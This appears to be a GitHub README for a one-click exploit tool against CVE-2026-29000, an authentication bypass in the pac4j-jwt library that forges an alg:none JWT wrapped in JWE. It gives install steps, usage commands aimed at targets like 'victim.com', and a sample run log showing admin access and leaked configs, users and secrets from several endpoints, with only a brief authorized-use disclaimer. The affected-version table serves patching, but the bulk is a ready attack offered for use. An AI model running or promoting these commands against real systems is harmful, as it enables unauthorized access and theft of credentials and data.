tc4dy/cve-2026-29000-poc-exploitCVE-2026-29000 – pac4j-jwt Authentication Bypass (CVSS 10.0). One-click admin forge via public key JWE wrapping. Leaks configs, users, secrets. Keep-alive, proxy, custom JWKS. Educational PoC Exploit tool.
CVE-2026-29000 - One-Click Admin Forge via JWT alg:none + JWE Encryption
This exploit weaponizes CVE-2026-29000, a critical CVSS 10.0 vulnerability in the pac4j-jwt library. By extracting the server's public JWKS key and forging an encrypted JWE token with alg: none, it achieves complete authentication bypass and grants full administrative privileges in one click.
alg:none JWT, wraps in server's own public key| Library | Affected Versions | Patched Versions |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] Disclaimer: This tool is for authorized security testing and red-team engagements only.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
Basic One-Shot Exploit
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
Argument Short Required Default Description --target -t Yes - Target URL (e.g., https://example.com:8443) --jwks -k No auto-detect Custom JWKS endpoint path --output -o No None Save forged JWE token to file --leak -l No leaked_TIMESTAMP.txt Save leaked data to file --verbose -v No False Enable debug output --proxy -p No None HTTP/HTTPS proxy --user-agent -ua No Mozilla/5.0... Custom User-Agent --no-keep-alive - No False Disable session keep-alive --delay - No 5.0 Keep-alive ping interval (seconds) --max-retries - No 3 Max retries per failed request --ssl-verify - No False Verify SSL certificates
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] STAGE 1: Acquiring RSA public key from JWKS [11:23:15] Probing for JWKS endpoint... [11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs [11:23:16] Successfully extracted RSA public key
[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE [11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ Token saved to backdoor.jwe
[11:23:16] STAGE 3: Sending forged JWE as Bearer token [11:23:17] ✓ Authentication successful! Access granted to /api/users/me
[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data [11:23:18] ✓ Leaked: /actuator/env (status 200) [11:23:18] ✓ Leaked: /api/users (status 200) [11:23:18] ✓ Leaked: /api/secrets (status 200) [11:23:18] ✓ Leaked: /config/server (status 200) [11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt
[11:23:18] Keep‑alive session active (Ctrl+C to stop) [11:23:18] Token (JWE) valid for ~1 hour – reforge if expired
Check out my other exploit repositories: